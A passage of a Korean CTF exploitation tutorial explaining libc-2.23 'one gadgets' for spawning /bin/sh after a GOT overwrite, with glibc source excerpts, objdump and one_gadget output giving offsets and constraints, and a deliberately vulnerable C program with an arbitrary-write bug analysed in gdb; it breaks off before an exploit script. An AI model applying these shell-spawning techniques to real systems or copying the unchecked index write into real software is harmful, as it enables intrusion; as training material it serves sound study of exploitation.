Excuse the ads! We need some help to keep our site up.

List

One-gadget(feat. PLT/GOT overwrite)

  • One Gadget이란 해당 Gadget 하나만을 이용하여 Shell을 획들 할 수 있는 Gadget입니다.
    • One Gadget은 라이브러리 파일 내에서 "/bin/sh"를 실행하는 Gadget입니다.
    • One Gadget을 사용하기 위해서 일부 조건이 만족해야 되는 경우도 있습니다.
  • 이러한 One Gadget은 CTF에서 Got 영역을 덮어쓸 수 있을 경우 많이 사용됩니다.

One-gadgets of libc(/lib/x86_64-linux-gnu/libc-2.23.so)

  • 다음과 같은 코드들이 One Gadgets으로 사용될 수 있습니다.

    • libc 라이브러리의 do_system() 함수 내에서 __execve() 함수를 이용하여 shell을 호출합니다.

...
#endif
  if (pid == (pid_t) 0)
    {
      /* Child side.  */
      const char *new_argv[4];
      new_argv[0] = SHELL_NAME;
      new_argv[1] = "-c";
      new_argv[2] = line;
      new_argv[3] = NULL;
 
      /* Restore the signals.  */
      (void) __sigaction (SIGINT, &intr, (struct sigaction *) NULL);
      (void) __sigaction (SIGQUIT, &quit, (struct sigaction *) NULL);
      (void) __sigprocmask (SIG_SETMASK, &omask, (sigset_t *) NULL);
      INIT_LOCK ();
 
      /* Exec the shell.  */
      (void) __execve (SHELL_PATH, (char *const *) new_argv, __environ);
      _exit (127);
    }
  else if (pid < (pid_t) 0)
    /* The fork failed.  */
    status = -1;
  else
...
  • 다음 코드는 libc 라이브러리의 exec_comm_child() 함수 내에서 __execve() 함수를 이용하여 shell을 호출합니다.

    • 이 외에도 다양한 곳에서 One Gadget을 찾을 수 있습니다.
/* Function called by child process in exec_comm() */
static inline void
__attribute__ ((always_inline))
exec_comm_child (char *comm, int *fildes, int showerr, int noexec)
{
  const char *args[4] = { _PATH_BSHELL, "-c", comm, NULL };
 
  /* Execute the command, or just check syntax? */
  if (noexec)
    args[1] = "-nc";
 
...

  __close (fildes[0]);
  __execve (_PATH_BSHELL, (char *const *) args, __environ);

  /* Bad.  What now?  */
  abort ();
}

Find One Gadgets - strings, objdump

  • One gadgets은 다음과 같은 방법으로 찾을 수 있습니다.
    • 우선 strings 를 이용하여 라이브러리 파일에서 "/bin/sh" 문자열이 위치한 Offset address를 찾습니다.
strings
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ strings -tx /lib/x86_64-linux-gnu/libc-2.23.so |grep /bin/sh
 18cd57 /bin/sh
lazenca0x0@ubuntu:~/Exploit/OneGadgets$
  • objdump 를 이용하여 라이브러리 파일에서 "/bin/sh" Offset address를 사용하는 곳을 찾습니다.
  • 다음과 같이 많은 코드들이 출력되며, 해당 코드를 보고 실제로 사용 가능한 코드를 찾아야 합니다.
    • 사용가능한 코드를 찾을 때 중요한 부분은 바로 "/bin/sh"를 실행하는 함수에 전달되는 인자 값 정보 입니다.
  • 예를 들면 45294 영역에 execve() 함수를 사용하기 위해서는 다음과 같은 조건이 필요합니다.
    • 45271 영역에서 첫번째 인자 값으로 RDI 레지스터에 "/bin/sh" Offset address를 저장합니다.
    • 45278 영역에서 두번째 인가 값으로 RSI 레지스터에 [rsp+0x30]영역의 값을 저장합니다.
    • 즉, 해당 One gadget을 사용하기 위해서는 [rsp+0x30]영역의 값 Null(0)이어야만 합니다.
objdump
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ objdump -M intel -d /lib/x86_64-linux-gnu/libc-2.23.so |grep -C8 18cd57
   4524f:	31 d2                	xor    edx,edx
   45251:	bf 03 00 00 00       	mov    edi,0x3
   45256:	e8 95 04 ff ff       	call   356f0 <__sigaction@@GLIBC_2.2.5>
   4525b:	31 d2                	xor    edx,edx
   4525d:	4c 89 e6             	mov    rsi,r12
   45260:	bf 02 00 00 00       	mov    edi,0x2
   45265:	e8 b6 04 ff ff       	call   35720 <sigprocmask@@GLIBC_2.2.5>
   4526a:	48 8b 05 47 ec 37 00 	mov    rax,QWORD PTR [rip+0x37ec47]        # 3c3eb8 <_IO_file_jumps@@GLIBC_2.2.5+0x7d8>
   45271:	48 8d 3d df 7a 14 00 	lea    rdi,[rip+0x147adf]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   45278:	48 8d 74 24 30       	lea    rsi,[rsp+0x30]
   4527d:	c7 05 19 12 38 00 00 	mov    DWORD PTR [rip+0x381219],0x0        # 3c64a0 <__abort_msg@@GLIBC_PRIVATE+0x8c0>
   45284:	00 00 00 
   45287:	c7 05 13 12 38 00 00 	mov    DWORD PTR [rip+0x381213],0x0        # 3c64a4 <__abort_msg@@GLIBC_PRIVATE+0x8c4>
   4528e:	00 00 00 
   45291:	48 8b 10             	mov    rdx,QWORD PTR [rax]
   45294:	e8 d7 74 08 00       	call   cc770 <execve@@GLIBC_2.2.5>
   45299:	bf 7f 00 00 00       	mov    edi,0x7f
--
   6f58c:	74 0c                	je     6f59a <_IO_proc_open@@GLIBC_2.2.5+0x2fa>
   6f58e:	89 f0                	mov    eax,esi
   6f590:	0f 05                	syscall 
   6f592:	48 3d 00 f0 ff ff    	cmp    rax,0xfffffffffffff000
   6f598:	77 4a                	ja     6f5e4 <_IO_proc_open@@GLIBC_2.2.5+0x344>
   6f59a:	48 8b 92 e8 00 00 00 	mov    rdx,QWORD PTR [rdx+0xe8]
   6f5a1:	48 85 d2             	test   rdx,rdx
   6f5a4:	75 e0                	jne    6f586 <_IO_proc_open@@GLIBC_2.2.5+0x2e6>
   6f5a6:	48 8d 3d aa d7 11 00 	lea    rdi,[rip+0x11d7aa]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   6f5ad:	48 8d 15 a0 d7 11 00 	lea    rdx,[rip+0x11d7a0]        # 18cd54 <_libc_intl_domainname@@GLIBC_2.2.5+0x194>
   6f5b4:	48 8d 35 a1 d7 11 00 	lea    rsi,[rip+0x11d7a1]        # 18cd5c <_libc_intl_domainname@@GLIBC_2.2.5+0x19c>
   6f5bb:	45 31 c0             	xor    r8d,r8d
   6f5be:	4c 89 e1             	mov    rcx,r12
   6f5c1:	31 c0                	xor    eax,eax
   6f5c3:	e8 58 d4 05 00       	call   cca20 <execl@@GLIBC_2.2.5>
   6f5c8:	bf 7f 00 00 00       	mov    edi,0x7f
   6f5cd:	e8 3e d1 05 00       	call   cc710 <_exit@@GLIBC_2.2.5>
--
   cce0d:	49 81 fd 00 10 00 00 	cmp    r13,0x1000
   cce14:	0f 87 ad 02 00 00    	ja     cd0c7 <execvpe@@GLIBC_2.11+0x367>
   cce1a:	49 83 c5 1e          	add    r13,0x1e
   cce1e:	49 83 e5 f0          	and    r13,0xfffffffffffffff0
   cce22:	4c 29 ec             	sub    rsp,r13
   cce25:	45 31 ed             	xor    r13d,r13d
   cce28:	48 8d 4c 24 0f       	lea    rcx,[rsp+0xf]
   cce2d:	48 83 e1 f0          	and    rcx,0xfffffffffffffff0
   cce31:	48 8d 05 1f ff 0b 00 	lea    rax,[rip+0xbff1f]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   cce38:	41 83 ff 01          	cmp    r15d,0x1
   cce3c:	4c 89 71 08          	mov    QWORD PTR [rcx+0x8],r14
   cce40:	48 89 01             	mov    QWORD PTR [rcx],rax
   cce43:	0f 84 aa 02 00 00    	je     cd0f3 <execvpe@@GLIBC_2.11+0x393>
   cce49:	41 8d 47 fe          	lea    eax,[r15-0x2]
   cce4d:	4d 63 ff             	movsxd r15,r15d
   cce50:	48 89 4d c8          	mov    QWORD PTR [rbp-0x38],rcx
   cce54:	4a 8d 34 fd 00 00 00 	lea    rsi,[r15*8+0x0]
--
   cd053:	48 81 ff 00 10 00 00 	cmp    rdi,0x1000
   cd05a:	0f 87 35 01 00 00    	ja     cd195 <execvpe@@GLIBC_2.11+0x435>
   cd060:	49 83 c5 1e          	add    r13,0x1e
   cd064:	49 83 e5 f0          	and    r13,0xfffffffffffffff0
   cd068:	4c 29 ec             	sub    rsp,r13
   cd06b:	48 8d 44 24 0f       	lea    rax,[rsp+0xf]
   cd070:	48 83 e0 f0          	and    rax,0xfffffffffffffff0
   cd074:	48 89 45 c0          	mov    QWORD PTR [rbp-0x40],rax
   cd078:	48 8d 0d d8 fc 0b 00 	lea    rcx,[rip+0xbfcd8]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   cd07f:	83 fe 01             	cmp    esi,0x1
   cd082:	4c 89 78 08          	mov    QWORD PTR [rax+0x8],r15
   cd086:	48 89 08             	mov    QWORD PTR [rax],rcx
   cd089:	48 89 c1             	mov    rcx,rax
   cd08c:	0f 84 36 01 00 00    	je     cd1c8 <execvpe@@GLIBC_2.11+0x468>
   cd092:	8d 46 fe             	lea    eax,[rsi-0x2]
   cd095:	49 89 cf             	mov    r15,rcx
   cd098:	48 8d 14 c5 08 00 00 	lea    rdx,[rax*8+0x8]
--
   cd0d1:	0f 85 43 fd ff ff    	jne    cce1a <execvpe@@GLIBC_2.11+0xba>
   cd0d7:	4c 89 ef             	mov    rdi,r13
   cd0da:	e8 c1 27 f5 ff       	call   1f8a0 <*ABS*+0x8fa00@plt+0x10>
   cd0df:	48 85 c0             	test   rax,rax
   cd0e2:	49 89 c5             	mov    r13,rax
   cd0e5:	48 89 c1             	mov    rcx,rax
   cd0e8:	0f 85 43 fd ff ff    	jne    cce31 <execvpe@@GLIBC_2.11+0xd1>
   cd0ee:	e9 ba fc ff ff       	jmp    ccdad <execvpe@@GLIBC_2.11+0x4d>
   cd0f3:	48 8d 3d 5d fc 0b 00 	lea    rdi,[rip+0xbfc5d]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   cd0fa:	e9 81 fd ff ff       	jmp    cce80 <execvpe@@GLIBC_2.11+0x120>
   cd0ff:	48 89 c7             	mov    rdi,rax
   cd102:	48 89 55 c0          	mov    QWORD PTR [rbp-0x40],rdx
   cd106:	4c 89 45 c8          	mov    QWORD PTR [rbp-0x38],r8
   cd10a:	e8 61 79 04 00       	call   114a70 <__libc_alloca_cutoff@@GLIBC_PRIVATE>
   cd10f:	85 c0                	test   eax,eax
   cd111:	4c 8b 45 c8          	mov    r8,QWORD PTR [rbp-0x38]
   cd115:	48 8b 55 c0          	mov    rdx,QWORD PTR [rbp-0x40]
--
   cd1ab:	89 75 b0             	mov    DWORD PTR [rbp-0x50],esi
   cd1ae:	e8 ed 26 f5 ff       	call   1f8a0 <*ABS*+0x8fa00@plt+0x10>
   cd1b3:	48 85 c0             	test   rax,rax
   cd1b6:	48 89 45 c0          	mov    QWORD PTR [rbp-0x40],rax
   cd1ba:	74 1b                	je     cd1d7 <execvpe@@GLIBC_2.11+0x477>
   cd1bc:	48 89 45 a0          	mov    QWORD PTR [rbp-0x60],rax
   cd1c0:	8b 75 b0             	mov    esi,DWORD PTR [rbp-0x50]
   cd1c3:	e9 b0 fe ff ff       	jmp    cd078 <execvpe@@GLIBC_2.11+0x318>
   cd1c8:	48 8d 3d 88 fb 0b 00 	lea    rdi,[rip+0xbfb88]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   cd1cf:	48 89 c6             	mov    rsi,rax
   cd1d2:	e9 38 fe ff ff       	jmp    cd00f <execvpe@@GLIBC_2.11+0x2af>
   cd1d7:	48 c7 45 a0 00 00 00 	mov    QWORD PTR [rbp-0x60],0x0
   cd1de:	00 
   cd1df:	e9 f0 fd ff ff       	jmp    ccfd4 <execvpe@@GLIBC_2.11+0x274>
   cd1e4:	66 2e 0f 1f 84 00 00 	nop    WORD PTR cs:[rax+rax*1+0x0]
   cd1eb:	00 00 00 
   cd1ee:	66 90                	xchg   ax,ax
--
   f018f:	e9 c9 fc ff ff       	jmp    efe5d <gai_strerror@@GLIBC_2.2.5+0x52d>
   f0194:	85 ed                	test   ebp,ebp
   f0196:	0f 85 28 01 00 00    	jne    f02c4 <gai_strerror@@GLIBC_2.2.5+0x994>
   f019c:	8b 44 24 2c          	mov    eax,DWORD PTR [rsp+0x2c]
   f01a0:	48 c7 44 24 68 00 00 	mov    QWORD PTR [rsp+0x68],0x0
   f01a7:	00 00 
   f01a9:	83 e0 10             	and    eax,0x10
   f01ac:	89 44 24 28          	mov    DWORD PTR [rsp+0x28],eax
   f01b0:	48 8d 05 a0 cb 09 00 	lea    rax,[rip+0x9cba0]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f01b7:	48 89 44 24 50       	mov    QWORD PTR [rsp+0x50],rax
   f01bc:	48 8d 05 91 cb 09 00 	lea    rax,[rip+0x9cb91]        # 18cd54 <_libc_intl_domainname@@GLIBC_2.2.5+0x194>
   f01c3:	48 89 44 24 58       	mov    QWORD PTR [rsp+0x58],rax
   f01c8:	48 8b 44 24 20       	mov    rax,QWORD PTR [rsp+0x20]
   f01cd:	48 89 44 24 60       	mov    QWORD PTR [rsp+0x60],rax
   f01d2:	8b 7c 24 44          	mov    edi,DWORD PTR [rsp+0x44]
   f01d6:	83 ff 01             	cmp    edi,0x1
   f01d9:	0f 84 32 01 00 00    	je     f0311 <gai_strerror@@GLIBC_2.2.5+0x9e1>
--
   f0289:	00 
   f028a:	e9 ce fb ff ff       	jmp    efe5d <gai_strerror@@GLIBC_2.2.5+0x52d>
   f028f:	48 8d 3d f1 e3 09 00 	lea    rdi,[rip+0x9e3f1]        # 18e687 <_libc_intl_domainname@@GLIBC_2.2.5+0x1ac7>
   f0296:	e8 65 9a f4 ff       	call   39d00 <unsetenv@@GLIBC_2.2.5>
   f029b:	8b 7c 24 40          	mov    edi,DWORD PTR [rsp+0x40]
   f029f:	e8 3c 76 00 00       	call   f78e0 <__close@@GLIBC_2.2.5>
   f02a4:	48 8b 05 0d 3c 2d 00 	mov    rax,QWORD PTR [rip+0x2d3c0d]        # 3c3eb8 <_IO_file_jumps@@GLIBC_2.2.5+0x7d8>
   f02ab:	48 8d 74 24 50       	lea    rsi,[rsp+0x50]
   f02b0:	48 8d 3d a0 ca 09 00 	lea    rdi,[rip+0x9caa0]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f02b7:	48 8b 10             	mov    rdx,QWORD PTR [rax]
   f02ba:	e8 b1 c4 fd ff       	call   cc770 <execve@@GLIBC_2.2.5>
   f02bf:	e8 fc 6b f4 ff       	call   36ec0 <abort@@GLIBC_2.2.5>
   f02c4:	48 8d 05 8c ca 09 00 	lea    rax,[rip+0x9ca8c]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f02cb:	48 c7 44 24 68 00 00 	mov    QWORD PTR [rsp+0x68],0x0
   f02d2:	00 00 
   f02d4:	48 89 44 24 50       	mov    QWORD PTR [rsp+0x50],rax
   f02d9:	48 8b 44 24 20       	mov    rax,QWORD PTR [rsp+0x20]
   f02de:	48 89 44 24 60       	mov    QWORD PTR [rsp+0x60],rax
   f02e3:	48 8d 05 a1 e3 09 00 	lea    rax,[rip+0x9e3a1]        # 18e68b <_libc_intl_domainname@@GLIBC_2.2.5+0x1acb>
   f02ea:	48 89 44 24 58       	mov    QWORD PTR [rsp+0x58],rax
   f02ef:	e9 de fe ff ff       	jmp    f01d2 <gai_strerror@@GLIBC_2.2.5+0x8a2>
--
   f0fa8:	e9 f0 f8 ff ff       	jmp    f089d <gai_strerror@@GLIBC_2.2.5+0xf6d>
   f0fad:	85 db                	test   ebx,ebx
   f0faf:	0f 85 47 01 00 00    	jne    f10fc <gai_strerror@@GLIBC_2.2.5+0x17cc>
   f0fb5:	8b 44 24 4c          	mov    eax,DWORD PTR [rsp+0x4c]
   f0fb9:	48 c7 84 24 88 00 00 	mov    QWORD PTR [rsp+0x88],0x0
   f0fc0:	00 00 00 00 00 
   f0fc5:	83 e0 10             	and    eax,0x10
   f0fc8:	89 44 24 2c          	mov    DWORD PTR [rsp+0x2c],eax
   f0fcc:	48 8d 05 84 bd 09 00 	lea    rax,[rip+0x9bd84]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f0fd3:	48 89 44 24 70       	mov    QWORD PTR [rsp+0x70],rax
   f0fd8:	48 8d 05 75 bd 09 00 	lea    rax,[rip+0x9bd75]        # 18cd54 <_libc_intl_domainname@@GLIBC_2.2.5+0x194>
   f0fdf:	48 89 44 24 78       	mov    QWORD PTR [rsp+0x78],rax
   f0fe4:	48 8b 44 24 40       	mov    rax,QWORD PTR [rsp+0x40]
   f0fe9:	48 89 84 24 80 00 00 	mov    QWORD PTR [rsp+0x80],rax
   f0ff0:	00 
   f0ff1:	8b 7c 24 64          	mov    edi,DWORD PTR [rsp+0x64]
   f0ff5:	83 ff 01             	cmp    edi,0x1
--
   f10da:	48 39 d0             	cmp    rax,rdx
   f10dd:	0f 85 ba f7 ff ff    	jne    f089d <gai_strerror@@GLIBC_2.2.5+0xf6d>
   f10e3:	8b 54 24 5c          	mov    edx,DWORD PTR [rsp+0x5c]
   f10e7:	b8 05 00 00 00       	mov    eax,0x5
   f10ec:	85 d2                	test   edx,edx
   f10ee:	0f 44 44 24 2c       	cmove  eax,DWORD PTR [rsp+0x2c]
   f10f3:	89 44 24 2c          	mov    DWORD PTR [rsp+0x2c],eax
   f10f7:	e9 a1 f7 ff ff       	jmp    f089d <gai_strerror@@GLIBC_2.2.5+0xf6d>
   f10fc:	48 8d 05 54 bc 09 00 	lea    rax,[rip+0x9bc54]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f1103:	48 c7 84 24 88 00 00 	mov    QWORD PTR [rsp+0x88],0x0
   f110a:	00 00 00 00 00 
   f110f:	48 89 44 24 70       	mov    QWORD PTR [rsp+0x70],rax
   f1114:	48 8b 44 24 40       	mov    rax,QWORD PTR [rsp+0x40]
   f1119:	48 89 84 24 80 00 00 	mov    QWORD PTR [rsp+0x80],rax
   f1120:	00 
   f1121:	48 8d 05 63 d5 09 00 	lea    rax,[rip+0x9d563]        # 18e68b <_libc_intl_domainname@@GLIBC_2.2.5+0x1acb>
   f1128:	48 89 44 24 78       	mov    QWORD PTR [rsp+0x78],rax
   f112d:	e9 bf fe ff ff       	jmp    f0ff1 <gai_strerror@@GLIBC_2.2.5+0x16c1>
   f1132:	48 8d 3d 4e d5 09 00 	lea    rdi,[rip+0x9d54e]        # 18e687 <_libc_intl_domainname@@GLIBC_2.2.5+0x1ac7>
   f1139:	e8 c2 8b f4 ff       	call   39d00 <unsetenv@@GLIBC_2.2.5>
   f113e:	8b 7c 24 60          	mov    edi,DWORD PTR [rsp+0x60]
   f1142:	e8 99 67 00 00       	call   f78e0 <__close@@GLIBC_2.2.5>
   f1147:	48 8b 05 6a 2d 2d 00 	mov    rax,QWORD PTR [rip+0x2d2d6a]        # 3c3eb8 <_IO_file_jumps@@GLIBC_2.2.5+0x7d8>
   f114e:	48 8d 74 24 70       	lea    rsi,[rsp+0x70]
   f1153:	48 8d 3d fd bb 09 00 	lea    rdi,[rip+0x9bbfd]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f115a:	48 8b 10             	mov    rdx,QWORD PTR [rax]
   f115d:	e8 0e b6 fd ff       	call   cc770 <execve@@GLIBC_2.2.5>
   f1162:	e8 59 5d f4 ff       	call   36ec0 <abort@@GLIBC_2.2.5>
   f1167:	49 8b 3f             	mov    rdi,QWORD PTR [r15]
   f116a:	48 89 4c 24 10       	mov    QWORD PTR [rsp+0x10],rcx
   f116f:	e8 34 e7 f2 ff       	call   1f8a8 <*ABS*+0x8fa00@plt+0x18>
   f1174:	48 8b 44 24 18       	mov    rax,QWORD PTR [rsp+0x18]
   f1179:	48 c7 00 00 00 00 00 	mov    QWORD PTR [rax],0x0
--
   f625e:	eb 02                	jmp    f6262 <posix_spawnp@@GLIBC_2.15+0x2d2>
   f6260:	89 ca                	mov    edx,ecx
   f6262:	48 83 c0 08          	add    rax,0x8
   f6266:	8d 4a 01             	lea    ecx,[rdx+0x1]
   f6269:	48 83 78 f8 00       	cmp    QWORD PTR [rax-0x8],0x0
   f626e:	75 f0                	jne    f6260 <posix_spawnp@@GLIBC_2.15+0x2d0>
   f6270:	8d 42 02             	lea    eax,[rdx+0x2]
   f6273:	48 89 e3             	mov    rbx,rsp
   f6276:	48 8d 3d da 6a 09 00 	lea    rdi,[rip+0x96ada]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f627d:	48 98                	cdqe   
   f627f:	48 8d 04 c5 16 00 00 	lea    rax,[rax*8+0x16]
   f6286:	00 
   f6287:	48 83 e0 f0          	and    rax,0xfffffffffffffff0
   f628b:	48 29 c4             	sub    rsp,rax
   f628e:	48 8b 85 e0 fe ff ff 	mov    rax,QWORD PTR [rbp-0x120]
   f6295:	4c 8d 64 24 07       	lea    r12,[rsp+0x7]
   f629a:	49 c1 ec 03          	shr    r12,0x3
--
   f6626:	75 f0                	jne    f6618 <posix_spawnp@@GLIBC_2.15+0x688>
   f6628:	8d 42 02             	lea    eax,[rdx+0x2]
   f662b:	48 89 a5 f0 fe ff ff 	mov    QWORD PTR [rbp-0x110],rsp
   f6632:	48 98                	cdqe   
   f6634:	48 8d 04 c5 16 00 00 	lea    rax,[rax*8+0x16]
   f663b:	00 
   f663c:	48 83 e0 f0          	and    rax,0xfffffffffffffff0
   f6640:	48 29 c4             	sub    rsp,rax
   f6643:	48 8d 05 0d 67 09 00 	lea    rax,[rip+0x9670d]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f664a:	4c 8d 44 24 07       	lea    r8,[rsp+0x7]
   f664f:	4c 89 c3             	mov    rbx,r8
   f6652:	48 c1 eb 03          	shr    rbx,0x3
   f6656:	83 fe 01             	cmp    esi,0x1
   f6659:	48 8d 0c dd 00 00 00 	lea    rcx,[rbx*8+0x0]
   f6660:	00 
   f6661:	48 89 04 dd 00 00 00 	mov    QWORD PTR [rbx*8+0x0],rax
   f6668:	00 
--
   f66cb:	48 8b a5 f0 fe ff ff 	mov    rsp,QWORD PTR [rbp-0x110]
   f66d2:	64 8b 00             	mov    eax,DWORD PTR fs:[rax]
   f66d5:	e9 a6 fe ff ff       	jmp    f6580 <posix_spawnp@@GLIBC_2.15+0x5f0>
   f66da:	66 0f 1f 44 00 00    	nop    WORD PTR [rax+rax*1+0x0]
   f66e0:	83 f8 02             	cmp    eax,0x2
   f66e3:	0f 84 b0 fe ff ff    	je     f6599 <posix_spawnp@@GLIBC_2.15+0x609>
   f66e9:	e9 92 fa ff ff       	jmp    f6180 <posix_spawnp@@GLIBC_2.15+0x1f0>
   f66ee:	66 90                	xchg   ax,ax
   f66f0:	48 8d 3d 60 66 09 00 	lea    rdi,[rip+0x96660]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   f66f7:	eb bc                	jmp    f66b5 <posix_spawnp@@GLIBC_2.15+0x725>
   f66f9:	31 d2                	xor    edx,edx
   f66fb:	31 f6                	xor    esi,esi
   f66fd:	31 ff                	xor    edi,edi
   f66ff:	e8 dc 21 ff ff       	call   e88e0 <confstr@@GLIBC_2.2.5>
   f6704:	48 8d 48 1f          	lea    rcx,[rax+0x1f]
   f6708:	48 89 c2             	mov    rdx,rax
   f670b:	31 ff                	xor    edi,edi
--
   ff890:	74 14                	je     ff8a6 <endttyent@@GLIBC_2.2.5+0xc6>
   ff892:	4c 8b 6c 24 30       	mov    r13,QWORD PTR [rsp+0x30]
   ff897:	48 b8 fd ff ff ff ff 	movabs rax,0x5ffffffffffffffd
   ff89e:	ff ff 5f 
   ff8a1:	49 39 c5             	cmp    r13,rax
   ff8a4:	76 3a                	jbe    ff8e0 <endttyent@@GLIBC_2.2.5+0x100>
   ff8a6:	48 89 ef             	mov    rdi,rbp
   ff8a9:	e8 b2 d9 f6 ff       	call   6d260 <_IO_fclose@@GLIBC_2.2.5>
   ff8ae:	48 8d 05 a2 d4 08 00 	lea    rax,[rip+0x8d4a2]        # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
   ff8b5:	48 89 05 44 78 2c 00 	mov    QWORD PTR [rip+0x2c7844],rax        # 3c7100 <__curbrk@@GLIBC_2.2.5+0x1a8>
   ff8bc:	48 8d 05 1f f0 08 00 	lea    rax,[rip+0x8f01f]        # 18e8e2 <_libc_intl_domainname@@GLIBC_2.2.5+0x1d22>
   ff8c3:	48 89 05 3e 78 2c 00 	mov    QWORD PTR [rip+0x2c783e],rax        # 3c7108 <__curbrk@@GLIBC_2.2.5+0x1b0>
   ff8ca:	48 81 c4 98 00 00 00 	add    rsp,0x98
   ff8d1:	48 8d 05 28 78 2c 00 	lea    rax,[rip+0x2c7828]        # 3c7100 <__curbrk@@GLIBC_2.2.5+0x1a8>
   ff8d8:	5b                   	pop    rbx
   ff8d9:	5d                   	pop    rbp
   ff8da:	41 5c                	pop    r12
lazenca0x0@ubuntu:~/Exploit/OneGadgets$

Find One Gadgets - one_gadget

  • 다음과 같은 스크립트를 사용할 수 있습니다.
    • 해당 스크립트를 사용하기 위해 ruby 2.1.0 또는 이상의 버전이 필요합니다.

Install
$ gem install one_gadget
  • 다음과 같이 전달된 파일에서 One Gadget과 조건을 찾아 줍니다.
    • 해당 스크립트는 execve() 함수만을 찾고 있기 때문에 objdump의 결과보다 갯수가 작습니다.
run one_gadget
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
lazenca0x0@ubuntu:~/Exploit/OneGadgets$

Proof of concept

Example code

  • 다음 코드는 DEFCON 2018 - babypwn1805 문제를 변형하였습니다.
    • read() 함수를 이용하여 3번의 입력을 받습니다.
    • 첫번째 입력 값은 index 영역에 저장됩니다.
    • 두번째 입력 값은 asdf+index 영역에 저장됩니다.
      • asdf 전역 변수의 주소 값 + index에 저장된 값
      • index 변수의 type이 "long long" 이기 때문에 음수까지 저장이 가능합니다.
      • 즉, 공격가자 첫번째 입력에서 음수 값을 index에 저장하면 두번째 입력값을 원하는 영역에 저장할 수 있습니다.
baby.c
//gcc -fno-stack-protector -o baby baby.c -ldl
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <dlfcn.h>
 
char asdf[1024];

int main()
{
    long long index = 0;

    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
 
    read(0, &index, 1024);
    read(0, asdf+index, 8);
    read(0, &index, 1024);
}

Find vulnerability

  • 다음과 같이 Break points를 설정합니다.
    • 0x4006c2 : 첫번재 read() 함수 호출

    • 0x4006de : 두번재 read() 함수 호출

    • 0x4006f4 : 세번재 read() 함수 호출

Break points
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ gdb -q ./baby
Reading symbols from ./baby...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000000400676 <+0>:	push   rbp
   0x0000000000400677 <+1>:	mov    rbp,rsp
   0x000000000040067a <+4>:	sub    rsp,0x10
   0x000000000040067e <+8>:	mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000400686 <+16>:	mov    esi,0x400784
   0x000000000040068b <+21>:	mov    rdi,0xffffffffffffffff
   0x0000000000400692 <+28>:	call   0x400560 <dlsym@plt>
   0x0000000000400697 <+33>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040069b <+37>:	mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040069f <+41>:	mov    rsi,rax
   0x00000000004006a2 <+44>:	mov    edi,0x40078b
   0x00000000004006a7 <+49>:	mov    eax,0x0
   0x00000000004006ac <+54>:	call   0x400530 <printf@plt>
   0x00000000004006b1 <+59>:	lea    rax,[rbp-0x10]
   0x00000000004006b5 <+63>:	mov    edx,0x400
   0x00000000004006ba <+68>:	mov    rsi,rax
   0x00000000004006bd <+71>:	mov    edi,0x0
   0x00000000004006c2 <+76>:	call   0x400540 <read@plt>
   0x00000000004006c7 <+81>:	mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004006cb <+85>:	add    rax,0x601080
   0x00000000004006d1 <+91>:	mov    edx,0x8
   0x00000000004006d6 <+96>:	mov    rsi,rax
   0x00000000004006d9 <+99>:	mov    edi,0x0
   0x00000000004006de <+104>:	call   0x400540 <read@plt>
   0x00000000004006e3 <+109>:	lea    rax,[rbp-0x10]
   0x00000000004006e7 <+113>:	mov    edx,0x400
   0x00000000004006ec <+118>:	mov    rsi,rax
   0x00000000004006ef <+121>:	mov    edi,0x0
   0x00000000004006f4 <+126>:	call   0x400540 <read@plt>
   0x00000000004006f9 <+131>:	mov    eax,0x0
   0x00000000004006fe <+136>:	leave  
   0x00000000004006ff <+137>:	ret    
End of assembler dump.
gdb-peda$ b *0x00000000004006c2
Breakpoint 1 at 0x4006c2
gdb-peda$ b *0x00000000004006de
Breakpoint 2 at 0x4006de
gdb-peda$ b *0x00000000004006f4
Breakpoint 3 at 0x4006f4
gdb-peda$
  • 다음과 같이 취약성을 확인 할 수 있습니다.
    • 첫번째 입력 값으로 "AAAAAAAAAAAAAAAA"를 입력합니다.
    • 두번째 read() 함수에서 값을 저장할 영역을 계산하기 위해 다음과 같은 연산이 진행됩니다.
      • rax(0x4141414141414141) += 0x601080(asdf 전역 변수 주소) = 0x4141414141a151c1

      • 첫번째 입력 값으로 0xffffffffffffffff 이 입력되면, 두번째 입력값을 저장할 주소는 0x60107f 입니다.
